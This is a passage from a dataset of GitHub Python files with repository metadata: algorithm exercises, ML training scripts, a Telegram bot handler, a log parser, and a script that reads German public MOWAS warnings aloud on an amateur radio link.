ani[0]:\n start = mid + 1\n else:\n end = mid\n print(start, end)\n if abs(gun_x[end]-ani[0])+ani[1]<=L or abs(gun_x[end-1]-ani[0])+ani[1]<=L:\n count += 1\n print(count)\n\n #if abs(ani[0] - gun_x[mid]) + ani[1] <= L or aba(ani[0] - gun_x[mid]) + ani i <= L\n\n #변하는순간을 찾아야함\n #gun_x가 작을때 \n #gun_x가 커질때 \nif __name__ == \"__main__\":\n animal_search()\n\n#동물의 좌표 x, y, index\n\n","repo_name":"YounSangWoo/SWJG_weekly","sub_path":"Week02/binary_search/num_6/num_6_8983.py","file_name":"num_6_8983.py","file_ext":"py","file_size_in_byte":1231,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"10234547403","text":"from collections import deque\n\n\n# BFS\ndef bfs(queue, destination, graph, visited, parent):\n while queue:\n node = queue.popleft()\n if node == destination:\n break\n for child in graph[node]:\n if visited[child]:\n continue\n visited[child] = True\n queue.append(child)\n parent[child] = node\n\n\ndef find_path_size(parent, destination):\n node = destination\n size = 0\n while node is not None:\n node = parent[node]\n size += 1\n return size - 1\n\n\n# INPUTS\nvertices = int(input())\npairs = int(input())\n\n# READ GRAPH\ngraph = {}\nfor _ in range(vertices):\n p, ch = input().split(':')\n parent = int(p)\n children = [int(child) for child in ch.split()]\n if parent not in graph:\n graph[parent] = []\n for child in children:\n graph[parent].append(child)\n\n# print(graph)\n\nfor _ in range(pairs):\n start, destination = [int(x) for x in input().split('-')]\n visited = {node: False for node in graph.keys()}\n parent = {node: None for node in graph.keys()}\n visited[start] = True\n queue = deque([start])\n bfs(queue, destination, graph, visited, parent)\n if parent[destination] is None:\n print(f\"{{{start}, {destination}}} -> -1\")\n continue\n size = find_path_size(parent, destination)\n print(f\"{{{start}, {destination}}} -> {size}\")\n","repo_name":"TanyaAng/Algorithms_with_Python","sub_path":"07_graph_shortest_path_exercise/01_distance_between_vertices.py","file_name":"01_distance_between_vertices.py","file_ext":"py","file_size_in_byte":1392,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"35914914850","text":"import argparse\nfrom Trainer import Trainer\n\n\ndef main():\n parser = argparse.ArgumentParser(description='main',\n formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n\n parser.add_argument('--dataset_dir', default='./data/CPC',\n help='directory for dataset')\n parser.add_argument('--train_file', default='Persona_train_1W.tsv',\n help='name of train file')\n parser.add_argument('--dev_file', default='Persona_val_sample.tsv',\n help='name of dev file')\n parser.add_argument('--test_file', default='Persona_test_deepclean.tsv',\n help='name of test file')\n parser.add_argument('--vocab_path', default='./model_dict/vocab.txt',\n help='vocab path for pre-trained model')\n parser.add_argument('--max_len', type=int, default=64,\n help='max length of source data')\n parser.add_argument('--tgt_len', type=int, default=64,\n help='max length of target data')\n parser.add_argument('--train_batch_size', type=int, default=32,\n help='batch size for training')\n parser.add_argument('--dev_batch_size', type=int, default=32,\n help='batch size for validation')\n parser.add_argument('--eval_batch_size', type=int, default=16,\n help='batch size for evaluating')\n parser.add_argument('--epochs', default=20, type=int,\n help='number of epochs for training')\n parser.add_argument('--label_smooth', default=0.1, type=float,\n help='label smoothing coeff')\n parser.add_argument('--gpus', default=1, type=int,\n help='number of gpus to use')\n parser.add_argument('--fp16', default=False, type=bool,\n help='是否使用混合精度加速')\n parser.add_argument('--lr', default=5e-5, type=float,\n help='learning rate')\n parser.add_argument('--pre_lr', default=7e-6, type=float,\n help='pretrain model learning rate')\n parser.add_argument('--beam_size', default=3, type=int,\n help='beam size')\n parser.add_argument('--top_k', default=5, type=int,\n help='top_k size')\n parser.add_argument('--top_p', default=0.9, type=float,\n help='top_p size')\n # parser.add_argument('--is_train', action='store_true')\n parser.add_argument('--is_schedule', action='store_true', help='是否使用schedule')\n parser.add_argument('--is_b2b', action='store_true')\n parser.add_argument('--is_test', action='store_true')\n parser.add_argument('--is_generate', action='store_true')\n parser.add_argument('--is_eval', action='store_true')\n parser.add_argument('--is_beam_search', action='store_true')\n args = parser.parse_args()\n\n trainer = Trainer(args, rank=1)\n\n if args.is_test:\n trainer.test()\n elif args.is_generate:\n trainer.generate(out_max_length=64, top_k=args.top_k, top_p=args.top_p, max_length=128)\n elif args.is_eval:\n trainer.eval()\n elif args.is_beam_search:\n trainer.beam_search(beam_size=args.beam_size)\n else:\n trainer.train()\n # trainer.train()\n\n # trainer.test()\n # trainer.generate(out_max_length=60, top_k=5, top_p=0.95, max_length=200)\n # trainer.eval()\n\n\nif __name__ == \"__main__\":\n main()\n\n\n\n\n# !python train.py --epochs 15 --train_batch_size 16 --dev_batch_size 16 --is_schedule --train_file \"Persona_train_clean.tsv\" --dev_file \"Persona_val_clean.tsv\"\n# !python train.py --is_eval --eval_batch_size 16 --test_file \"Persona_test_deepclean.tsv\"\n# !python train.py --is_test --eval_batch_size 16 --test_file \"Persona_test_deepclean.tsv\"\n# !python train.py --is_generate --top_k 5 --top_p 0.9 --eval_batch_size 16 --test_file \"Persona_test_deepclean.tsv\"\n# !python train.py --is_beam_search --beam_size 3 --eval_batch_size 16 --test_file \"Persona_test_deepclean.tsv\"\n# !python test.py --epochs 2\n\n# --dataset_dir './data/ConvAI2'\n\n# !python train.py --epochs 5 --tgt_len 32 --train_batch_size 16 --dev_batch_size 16 --is_schedule --dataset_dir './data/ConvAI2' --train_file \"Persona_train_1W.tsv\" --dev_file \"Persona_val_1K.tsv\" --test_file \"Persona_test_4K.tsv\"\n","repo_name":"chikin-lau/bert_copy_networks","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":4355,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"2988464811","text":"# %%\nimport numpy as np\nimport random\nimport os\nimport matplotlib.pyplot as plt\nfrom tqdm import tqdm\nimport copy\n\nfrom skimage.io import imread\nfrom skimage.transform import resize\n\n# from singleCellLoader import singleCellCrop\nimport torch\nimport torch.nn.functional as F\n\n# %%\nexperiment = 'TJ2201'\ndataPath = f'../../data/{experiment}/{experiment}Split16/phaseContrast'\ndatasetDicts = np.load(f'./{experiment}DatasetDict.npy', allow_pickle=True)\n# %%\nsegmentations, phenotypes, imgPaths, bbs = [], [], [], []\n# Note there is a lot of repeats for images but this is much cleaner\nfor img in datasetDicts:\n path = img['file_name'].split('/')[-1]\n for annotation in img['annotations']:\n segmentations.append(np.array(annotation['segmentation'][0]))\n phenotypes.append(annotation['category_id'])\n imgPaths.append(os.path.join(dataPath, path))\n bbs.append([int(corner) for corner in annotation['bbox']])\n# %% Only crop to bounding box\nidx = 1\n# idx = 1\n# '../../data/TJ2201/TJ2201Raw/phaseContrast/phaseContrast_F4_9_2022y04m05d_20h00m.png'\nnIncrease = 0\nmaxImgSize = 150\n\n\nimgName = imgPaths[idx]\nlabel = phenotypes[idx]\nmaxRows, maxCols = maxImgSize, maxImgSize\nimg = imread(imgName)\n\nbb = bbs[idx]\n\nnIncrease = nIncrease\ncolMin, rowMin, colMax, rowMax = bb\nrowMin -= nIncrease\nrowMax += nIncrease\ncolMin -= nIncrease\ncolMax += nIncrease\n\n# Indexing checks\nif rowMin <= 0:\n rowMin = 0\nif rowMax > img.shape[0]:\n rowMax = img.shape[0]\nif colMin <= 0:\n colMin = 0\nif colMax >= img.shape[1]:\n colMax = img.shape[1]\n\n# Increase the size of the bounding box and crop\nbbIncrease = [colMin, rowMin, colMax, rowMax]\nimgCrop = img[bbIncrease[1]:bbIncrease[3], bbIncrease[0]:bbIncrease[2]]\n\n# Pad image\ndiffRows = int((maxRows - imgCrop.shape[0])/2)\ndiffCols = int((maxCols - imgCrop.shape[1])/2)\npcCrop = F.pad(torch.tensor(imgCrop[:,:,0]), pad=(diffCols, diffCols, diffRows, diffRows)).numpy()\npcCrop = resize(pcCrop, (maxRows, maxCols))\n\nplt.imshow(pcCrop, cmap='gray')\n# %% Fix so that we know roughly how many cells per image there are\n\nmonoPos = ['B2','B3','B4','B5','B6','C2','C3','C4','C5','C6','D2','D3','D4','D5','D6']\nmonoNeg = ['E2','E3','E4','E5','E6','F2','F3','F4','F5','F6','G2','G3','G4','G5','G6']\n\nphenotypes = []\nimgs = []\nfor img in datasetDicts:\n path = img['file_name'].split('/')[-1]\n well = path.split('_')[1]\n if well in monoPos or well in monoNeg:\n for cell in img['annotations']:\n phenotypes.append(cell['category_id'])\n\n_, phenoCounts = np.unique(phenotypes, return_counts=True)\nminAmt = np.round(min(phenoCounts), -3)\n\ncurrentCounts = {0: 0, 1: 0}\ndatasetDictsBalanced = []\nfor img in datasetDicts:\n path = img['file_name'].split('/')[-1]\n well = path.split('_')[1]\n if well in monoPos or well in monoNeg:\n nAnnotations = len(img['annotations'])\n if nAnnotations > 0:\n pheno = img['annotations'][0]['category_id']\n if currentCounts[pheno]+nAnnotations < minAmt:\n datasetDictsBalanced.append(img)\n currentCounts[pheno] += nAnnotations\n \n\n\n \n","repo_name":"TylerJost/cellMorph","sub_path":"notebooks/old/fixBB.py","file_name":"fixBB.py","file_ext":"py","file_size_in_byte":3110,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"10624010903","text":"import numpy as np\nimport os\nimport datetime\n\nimport pandas as pd\n\n\nclass PredictionLog:\n def __init__(self, file_path, non_noise_threshold=0.9, multiclass=False):\n self.log_file = file_path\n self.audio_file = \"\"\n self.multiclass = multiclass\n if self.multiclass:\n self.binary_start = None\n self.binary_end = None\n self.gt_start = None\n self.start_date_time = None\n self.data = self._init_data()\n\n\n\n def _get_line_content(self, line):\n components = line.split(\"|\")\n return components[-1]\n\n def _get_key_value(self, pair):\n components = pair.split(\"=\")\n return components[0], components[1].rstrip()\n\n def set_start_date(self):\n basename = os.path.basename(self.audio_file).replace(\".wav\", \"\")\n components = basename.split(\"_\")\n date_idx = 0\n time_idx = None\n while time_idx is None:\n try:\n start_date = components[date_idx]\n datetime.datetime.strptime(f\"{start_date}\", \"%Y%m%d\")\n time_idx = date_idx + 1\n except:\n date_idx += 1\n\n start_date = components[date_idx]\n start_time = components[time_idx]\n self.start_date_time = datetime.datetime.strptime(f\"{start_date}T{start_time}\", \"%Y%m%dT%H%M%S\")\n if self.multiclass:\n component = components[0]\n offset_components = component.split(\"-\")\n self.binary_start = float(offset_components[1].replace(\"ms\", \"\")) / 1000\n self.binary_end = float(offset_components[2].replace(\"ms\", \"\")) / 1000\n\n\n def _group_smooth(self):\n grouped = []\n\n data = [l for l in self.data if l[\"class_id\"] == 1]\n # data = [l for l in self.data if l[\"class_id\"] != \"noise-2\" and l[\"pred\"] == 1]\n group = {\n \"start_t\": data[0][\"start_t\"],\n \"end_t\": data[0][\"end_t\"],\n \"class_id\": data[0][\"class_id\"]\n }\n for l in data[1:]:\n if l[\"class_id\"] == group[\"class_id\"] and l[\"start_t\"] < group[\"end_t\"]:\n group[\"end_t\"] = l[\"end_t\"]\n elif l[\"class_id\"] != group[\"class_id\"] and l[\"start_t\"] < group[\"end_t\"]:\n continue\n else:\n grouped.append(group)\n group = {\n \"start_t\": l[\"start_t\"],\n \"end_t\": l[\"end_t\"],\n \"class_id\": l[\"class_id\"]\n }\n return grouped\n\n\n def _group_non_smooth(self):\n grouped = []\n\n start_t = 0.0\n end_t = 0.0\n class_id = None\n\n for idx, line in enumerate(self.data):\n if class_id is None:\n class_id = line[\"class_id\"]\n end_t = line[\"end_t\"]\n continue\n if line[\"class_id\"] != class_id:\n grouped.append({\n \"start_t\": start_t,\n \"end_t\": end_t,\n \"class_id\": class_id\n })\n start_t = line[\"start_t\"]\n end_t = line[\"end_t\"]\n class_id = line[\"class_id\"]\n continue\n if line[\"class_id\"] == class_id:\n end_t = line[\"end_t\"]\n\n return grouped\n\n def group(self, smooth=True):\n if smooth:\n return self._group_smooth()\n return self._group_non_smooth()\n\n def _init_data(self):\n with open(self.log_file, \"r\") as f:\n lines = f.readlines()\n data = []\n for idx in range(len(lines)):\n line = lines[idx]\n if idx == 0:\n self.audio_file = self._get_line_content(line).rstrip()\n self.set_start_date()\n continue\n if \"|time=\" in line:\n content = self._get_line_content(line)\n fields = content.split(\", \")\n time = self._get_key_value(fields[0])\n t_start = time[1].split(\"-\")[0]\n t_end = time[1].split(\"-\")[1]\n pred = int(self._get_key_value(fields[1])[1])\n if self.multiclass:\n pred_class = self._get_key_value(fields[2])[1]\n prob = self._get_key_value(fields[3])[1]\n active_entry = {\n \"start_t\": float(t_start),\n \"end_t\": float(t_end),\n \"class_id\": pred_class,\n \"prob\": float(prob),\n \"pred\": int(pred),\n \"classes\": {}\n }\n idx += 1\n line = lines[idx]\n if \"output_layer\" in line:\n idx += 1\n line = lines[idx]\n\n while len(line.rstrip()) > 0:\n c, p = line.split(\"=\")\n p = float(p.replace(\";\", \"\").rstrip())\n active_entry[\"classes\"][c] = p\n idx += 1\n line = lines[idx]\n else:\n prob = self._get_key_value(fields[2])[1]\n active_entry = {\n \"start_t\": float(t_start),\n \"end_t\": float(t_end),\n \"pred\": int(pred),\n \"class_id\": int(pred),\n \"prob\": prob\n }\n data.append(active_entry)\n return data\n\n\nclass SelectionTable:\n def __init__(self, file_path):\n self.file_path = file_path\n self.start_date_time = self.set_start_date_time()\n self.data = self._init_data()\n\n\n def set_start_date_time(self):\n basename = os.path.basename(self.file_path).replace(\".Table.1.selections.FINAL.txt\", \"\")\n components = basename.split(\"_\")\n date_idx = 1\n for i, c in enumerate(components[0:]):\n try:\n idx = int(c)\n date_idx = i\n break\n except:\n continue\n time_idx = date_idx + 1\n s = f\"{components[date_idx]}T{components[time_idx]}\"\n return datetime.datetime.strptime(s, \"%Y%m%dT%H%M%S\")\n\n def _init_data(self):\n data = pd.read_csv(self.file_path, sep=\"\\t\")\n return data\n\n\nif __name__ == '__main__':\n f = \"/media/alex/s1/experiments/ANIMAL-SPOT/warbler/trained_multi_class_model/WARBLER_SEG_AS_MULTI_3CLASS_V4/predictions/2019_22MAY18C12GWAC12GW1T2_predict_output.log\"\n g = \"/home/alex/data/KARAN_ODOM/FINAL corrected annotations/N9_S00920_20220516_053000.Table.1.selections.FINAL.txt\"\n # l = PredictionLog(f)\n h = SelectionTable(g)","repo_name":"alexanderbarnhill/A-SPOT-Evaluation","sub_path":"log_models.py","file_name":"log_models.py","file_ext":"py","file_size_in_byte":6727,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"5916002424","text":"import numpy as np\nimport lab\nimport init\n\na0 = 2\nar = 10\nkf = 0.2\nkr = 0.95\n\nt = 200\nK = 0.6\nbelt = 0.945\nes = 1\npartten = 3\ntao = 3\n\ndata = np.load('data.npz')\npettern0 = [data['a'],data['b'],data['c'],data['d']]\nwij = data['wij']\nprocess_bar = lab.ShowProcess(t,\"ok\")\n\nx = np.zeros((5001,4,100))\nni = np.zeros((5001,4,100))\nci = np.zeros((5001,4,100))\n\nx[0][0] = init.half_of_a\nx[0][1] = init.half_of_b\nx[0][2] = init.half_of_c \nx[0][3] = init.half_of_d \n\nfor t in range(t):\n for n in range(4):\n for i in range(100):\n wij_some = 0\n u_sum = 0.5\n \n for s in range(100):\n if t-tao >= 0:\n u_sum += abs(x[t][partten][s]-es*x[t-tao][partten][s])\n \n for j in range(100):\n wij_some += wij[i][j]*x[t][n][j]\n ni[t+1][n][i] = kf*ni[t][n][i] + wij_some\n ci[t+1][n][i] = kr*ci[t][n][i] - ar*(belt**(K*u_sum))*x[t][n][i] + a0\n x[t+1][n][i] = lab.sigmoid(ni[t+1][n][i]+ci[t+1][n][i]) \n lab.number_to_image(x[t][partten],t) \n process_bar.show_process() \n","repo_name":"Sthyao/chaotic_dynamics","sub_path":"week_5/parameters.py","file_name":"parameters.py","file_ext":"py","file_size_in_byte":1287,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"45082345936","text":"import config.config as cf\nfrom aiogram import types\nfrom aiogram.types import InputFile\nfrom config.bot_texts import *\nfrom config.states import States\nfrom create_bot import bot\nfrom db.db import DB\nfrom keyboards.keyboards import *\nfrom telegram import ParseMode\n\n\nasync def back_buttons_callback(call, chat_id, message_id):\n db = DB()\n kb = Keyboards()\n states = States()\n \n if call.data == \"back_to_user_bots_list\":\n cf.page = 1\n db.update_state(chat_id, states.main_state)\n \n return await bot.edit_message_caption(\n chat_id=chat_id,\n message_id=message_id,\n caption=f\"Мои боты\\n\\n🤖 Всего ботов: {len(db.get_user_bots(chat_id))}\",\n parse_mode=ParseMode.HTML,\n reply_markup=kb.user_bots_kb(chat_id, cf.page)[0]\n )\n\n if call.data == \"back_to_user_bot_info\":\n db.update_state(chat_id, states.main_state)\n \n current_bot = db.get_current_bot(chat_id)\n\n media = types.InputMediaPhoto(media=InputFile(\"background.jpg\"))\n \n await bot.edit_message_media(\n chat_id=chat_id,\n message_id=message_id,\n media=media,\n )\n \n return await bot.edit_message_caption(\n chat_id=chat_id,\n message_id=message_id,\n caption=bot_info_text(chat_id, current_bot),\n parse_mode=ParseMode.HTML,\n reply_markup=kb.bot_info_kb(chat_id)\n )\n \n if call.data == \"back_to_profile\":\n\n return await bot.edit_message_text(\n chat_id=chat_id,\n message_id=message_id,\n text=f\"Профиль\\n\\n👤 Профиль: @{call.from_user.username}\\n\\n💳 Баланс: {db.get_balance(chat_id)} ₽\",\n parse_mode=ParseMode.HTML,\n reply_markup=kb.profile_kb()\n )\n \n if call.data == \"back_to_all_bots_list\":\n \n return await bot.edit_message_text(\n chat_id=chat_id,\n message_id=message_id,\n text=\"Список всех ботов\",\n parse_mode=ParseMode.HTML,\n reply_markup=kb.all_bots_kb(cf.page)[0]\n )\n \n if call.data == \"back_to_withdrawal_requests_list\":\n \n return await bot.edit_message_text(\n chat_id=chat_id,\n message_id=message_id,\n text=\"Заявки на вывод\",\n parse_mode=ParseMode.HTML,\n reply_markup=kb.withdrawal_requests_kb(cf.page)[0]\n )\n \n if call.data == \"back_to_premium\":\n\n return await bot.edit_message_caption(\n chat_id=chat_id,\n message_id=message_id,\n caption=f\"Возможности с Премиум подпиской\\n\\n• Комиссия: 13% 3%\\n\\n• Нет упоминания сервиса в вашем боте\\n\\n• Обьязательная подписка пользователя на ваш канал\",\n parse_mode=ParseMode.HTML,\n reply_markup=kb.premium_price_kb()\n )\n","repo_name":"olegtititele/tg_onlyfans","sub_path":"handlers/tg_constructor_bot/callback_handlers/back_buttons_callback.py","file_name":"back_buttons_callback.py","file_ext":"py","file_size_in_byte":3241,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"42033260671","text":"\"\"\"\n关于yield的测试\nyield生成器,它提供了工具在需要的时候才产生结果,\n在每个结构之间挂起和继续它们的状态\n它返回按需产生结果的一个对象,而不是构建一个结果列表\n\"\"\"\n\n\ndef test(i):\n for n in range(1, 5):\n # print(i)\n i = i + 2\n print(\"迭代器开���\")\n yield i\n print(\"第一个迭代器结束\")\n\n\n# yield 生成迭代器,相当于随用随取\nfor i in test(1):\n print(i)\n\nprint(\"*\" * 20)\n\n\ndef fab1(max):\n n, a, b = 0, 0, 1\n while n < max:\n a, b = b, a + b\n n = n + 1\n\n\nimport os\n\n\ndef traversalDir(rootDir):\n for i, lists in enumerate(os.listdir(rootDir)):\n path = os.path.join(rootDir, lists)\n if os.path.isfile(path):\n pass\n if os.path.isdir(path):\n traversalDir(path)\n\n\nclass loadDir():\n def __init__(self, path):\n self.path = path\n\n def __iter__(self):\n for p in os.listdir(self.path):\n pa = os.path.join(self.path, pa)\n if os.path.isdir(pa):\n yield pa\n\n\nclass loadFile():\n def __init__(self, path):\n self.path = path\n\n def __iter__(self):\n folders = os.listdir(self.path)\n for folder in folders:\n cag = folder.split(os.sep)[-1]\n for file in os.listdir(folder):\n yield cag, file\n","repo_name":"Sparkoor/learning","sub_path":"start/yieldTest.py","file_name":"yieldTest.py","file_ext":"py","file_size_in_byte":1382,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"73824493585","text":"# https://www.hackerrank.com/challenges/crush/problem?h_l=interview&playlist_slugs%5B%5D=interview-preparation-kit&playlist_slugs%5B%5D=arrays\n#!/bin/python3\n# redo\n\nimport math\nimport os\nimport random\nimport re\nimport sys\n\n# Complete the arrayManipulation function below.\ndef arrayManipulation(n, queries):\n # Big O (N)\n res = [0]*(n+1) # we only really need one terminal row, since we're applying each pass to all rows below\n\n # loop through all the queries and apply the increments/decrements for each\n # Big O (M) (size of queires)\n for row in range(len(queries)):\n a = queries[row][0]\n b = queries[row][1]\n k = queries[row][2]\n\n res[a-1] += k # increment the starting position\n # this is where a loop would increment everything else between a & b by k\n # but instead of taking b-a steps, we take a constant 2 steps, saving huge on time\n res[b] -= k # decrement the position AFTER the ending position\n print(res)\n # now loop through res one time - Big O (N) (size of res)\n sm = 0 # running sum\n mx = 0 # maximum value found so far\n for i in range(len(res)):\n sm += res[i]\n if sm > mx:\n mx = sm\n\n # total run time is Big O (2*N + M) >> Big O(N)\n return mx\n\n\nif __name__ == '__main__':\n\n nm = input().split()\n\n n = int(nm[0])\n\n m = int(nm[1])\n\n queries = []\n\n for _ in range(m):\n queries.append(list(map(int, input().rstrip().split())))\n\n result = arrayManipulation(n, queries)\n print(result)\n\n","repo_name":"arjun921/Python-TIL","sub_path":"algorithms/2019/4/3/201943.py","file_name":"201943.py","file_ext":"py","file_size_in_byte":1674,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"39016361029","text":"# Untitled.py\n# Created by Kids on 6/29/21.\nclass Obj:\n\tdef __init__(self, first_phrase, second_phrase, _third_phrase):\n\t\tself.i = first_phrase\n\t\tself.a = second_phrase\n\t\tself.b = _third_phrase\n\tdef get_i(self):\n\t\tprint(\"hi\")\n\t\treturn self.i\n\tdef get_a(self):\n\t\tprint(\"hii\")\n\t\treturn self.a\n\tdef get_b():\n\t\tprint(\"hiii\")\n\t\treturn self.b\n\t\ndef operate_on_two_from_obj(object_, operation, first_value, second_value):\n\tif first_value == 'i':\n\t\tfirst = object_.i\n\tif first_value == 'a':\n\t\tfirst = object_.a\n\tif first_value == 'b':\n\t\tfirst = object_.b\n\tif second_value == 'i':\n\t\tsecond = object_.i\n\tif second_value == 'a':\n\t\tsecond = object_.a\n\tif second_value == 'b':\n\t\tsecond = object_.b\n\t\n\tif operation == \"add\":\n\t\treturn first + second\n\telif operation == \"sub\":\n\t\treturn first - second\n\telif operation == \"mul\":\n\t\treturn first * second\n\telif operation == \"div\":\n\t\tif second == 0:\n\t\t\t\treturn \"Error\"\n\t\telse:\n\t\t\treturn first / second\n\telse:\n\t\treturn \"Error\"\n\ndef unittest1():\n\ttry:\n\t\tprint(\"starting try\")\n\t\tobj_iab_148 = Obj(1, 4, 8)\n\t\tprint(\"object complete\")\n\t\tresult = operate_on_two_from_obj(obj_iab_148, \"add\", 'i', 'a')\n\t\tprint(\"result found\")\n\t\texpected = 5\n\t\tif result == expected:\n\t\t\tprint(\"Test 1: PASS\")\n\t\telse:\n\t\t\tprint(\"Test 1: FAIL\")\n\texcept:\n\t\tprint(\"unitest_ 1\")\n\t\tprint(\"Test 1: FAIL\")\n\ndef unittest2():\n\ttry:\n\t\tobj_iab_726 = Obj(7, 2, 6)\n\t\tresult = operate_on_two_from_obj(obj_iab_726, \"sub\", 'a', 'b')\n\t\texpected = -4\n\t\tif result == expected:\n\t\t\tprint(\"Test 2: PASS\")\n\t\telse:\n\t\t\tprint(\"Test 2: FAIL\")\n\texcept:\n\t\tprint(\"Test 2: FAIL\")\n\ndef unittest3():\n\ttry:\n\t\tobj_iab_162 = Obj(1, 6, 2)\n\t\tresult = operate_on_two_from_obj(obj_iab_162, \"mul\", 'a', 'a')\n\t\texpected = 36\n\t\tif result == expected:\n\t\t\tprint(\"Test 3: PASS\")\n\t\telse:\n\t\t\tprint(\"Test 3: FAIL\")\n\texcept:\n\t\tprint(\"Test 3: FAIL\")\n\ndef unittest4():\n\ttry:\n\t\tobj_iab_534 = Obj(5, 3, 4)\n\t\tresult = operate_on_two_from_obj(obj_iab_534, \"div\", 'i', 'b')\n\t\texpected = 1.25\n\t\tif result == expected:\n\t\t\tprint(\"Test 4: PASS\")\n\t\telse:\n\t\t\tprint(\"Test 4: FAIL\")\n\texcept:\n\t\tprint(\"Test 4: FAIL\")\n\ndef unittest5():\n\ttry:\n\t\tobj_iab_041 = Obj(0, 4, 1)\n\t\tresult = operate_on_two_from_obj(obj_iab_041, \"div\", 'a', 'i')\n\t\texpected = \"Error\"\n\t\tif result == expected:\n\t\t\tprint(\"Test 5: PASS\")\n\t\telse:\n\t\t\tprint(\"Test 5: FAIL\")\n\texcept:\n\t\tprint(\"Test 5: FAIL\")\n\t\t\ndef unittest6():\n\ttry:\n\t\tobj_iab_123 = Obj(1, 2, 3)\n\t\tresult = operate_on_two_from_obj(obj_iab_123, \"hi\", 'a', 'i')\n\t\texpected = \"Error\"\n\t\tif result == expected:\n\t\t\tprint(\"custom test 6: PASS\")\n\t\telse:\n\t\t\tprint(\"custom test 6: FAIL\")\n\texcept:\n\t\tprint(\"Custom Test 6: FAIL\")\ndef unittest7():\n\t# write me another unittest case you can think of\n\tprint(\"Custom Test 7: FAIL\")\n\t\ndef run_unittests():\n\tunittest1()\n\tunittest2()\n\tunittest3()\n\tunittest4()\n\tunittest5()\n\tunittest6()\n\tunittest7()\n\t\nif __name__ == \"__main__\":\n\trun_unittests()\t","repo_name":"CoolAsTapatio/coding-lessons","sub_path":"debugging/debugging.py","file_name":"debugging.py","file_ext":"py","file_size_in_byte":2843,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"37137213050","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n#\n# 08.10.2019\tAnpassung an neues Modul \"ModuleMowas.tcl\" für svxlink\n#\n# Prüfen und ausgeben aktueller MOWAS-Meldungen für $Bundesland\n# auf svxlink mit TTS \t06.10.2019\tDL7ATA\n#\n\nimport json\nimport requests\nimport sys\nimport re\nimport time\nfrom datetime import datetime\nimport subprocess\nimport shutil\n\nBundesland1 = \"NW\"\nBundesland2 = \"BB\"\n\nident = 'identifier'\nsent = 'sent'\nebene1 = 'msgType'\nebene2 = 'info'\nebene3 = 'headline'\nebene31 = 'description'\ncall = \"DB0TGO\"\n\nurl = 'https://warnung.bund.de/bbk.mowas/gefahrendurchsagen.json'\n\ndateiname = \"/tmp/aprsmsg.text\"\nmowas = 'MOWAS'\ndst = 'DL7ATA'\nz = 0\nm = 0\nmsg_sammler = ''\n\ndef cleanhtml(raw_html):\n cleanr = re.compile('<.*?>')\n cleantext = re.sub(cleanr, '', raw_html)\n return cleantext\n\njson_file = requests.get(url)\ndata = json_file.json()\n\nfor i in data[:]:\n ort = data[z][ident]\n von = data[z][sent]\n b_land = ort.split('-')[1]\t\t\t\t\t# Bundesland\n meld_datum = von.split('T')[0]\t\t\t\t# Meldungsdatum\n meld_zeit = von[11:19]\t\t\t\t\t# Meldungszeit\n meld_zeit = meld_zeit.split(':')[0] + \":\" + meld_zeit.split(':')[1]\n meld_datum = \"vom \" + \\\n datetime.strptime(meld_datum, '%Y-%m-%d').strftime('%d.%m.%Y')\n headline = data[z][ebene2][0][ebene3]\t\t\t# Headline\n\n if b_land == Bundesland1 or b_land == Bundesland2:\n Meldung = cleanhtml(data[z][ebene2][0][ebene31]) # Meldungstext\n msg_sammler += meld_datum + ' um ' + \\\n meld_zeit + ' Uhr: ' + headline + \". \" + Meldung\n m += 1\n z += 1\n print(meld_datum, meld_zeit, b_land, headline)\n\nprint(time.strftime('%H:%M:%S'), \" \", z,\n \"Meldungen vorhanden,\", m, \"ausgegeben\")\n\nif m > 0:\n # WAV-Datei für svxlink erstellen\n spool_pfad = '/var/spool/svxlink/mowas/' + call + \".\" + ort + \".\"\n msg_text = 'Amtliche Warnung vom Bundesamt für \\\n Bevölkerungsschutz und Katastrophenhilfe '\\\n + msg_sammler\n\n try:\n subprocess.call([\"/home/svxlink/TTS/tts.sh\", msg_text, \"m\"])\n except(subprocess.SubprocessError) as e:\n print(\"Fehler bei Aufruf von tts.sh:\", e)\n sys.exit(1)\n\n von = '/tmp/wx.wav'\n nach = spool_pfad + 'wav'\n shutil.copy2(von, nach)\n\n dateiname = spool_pfad + 'info'\n with open(dateiname, 'w+') as output:\n output.write(msg_text)\n output.close()","repo_name":"dl7ata/Python","sub_path":"mowas.py","file_name":"mowas.py","file_ext":"py","file_size_in_byte":2403,"program_lang":"python","lang":"de","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"22298123946","text":"import statsmodels.regression.linear_model as lm\nimport statsmodels.api as sm\nimport numpy as np\n\nnsample = 100\nx = np.linspace(0, 10, 100)\nprint(x)\nX = np.column_stack((x, x ** 2))\nprint(X)\nbeta = np.array([1, 0.1, 10])\ne = np.random.normal(size=nsample)\n\n\nX = sm.add_constant(X)\ny = np.dot(X, beta) + e\n\nmodel = lm.OLS(y, X)\nresults = model.fit()\nprint(results.summary())\n\n\n\nnsample = 50\nsig = 0.5\nx = np.linspace(0, 20, nsample)\nX = np.column_stack((x, np.sin(x), (x - 5) ** 2, np.ones(nsample)))\nbeta = [0.5, 0.5, -0.02, 5.0]\n\ny_true = np.dot(X, beta)\ny = y_true + sig * np.random.normal(size=nsample)","repo_name":"eslywadan/sso","sub_path":"test/testOLS.py","file_name":"testOLS.py","file_ext":"py","file_size_in_byte":605,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} 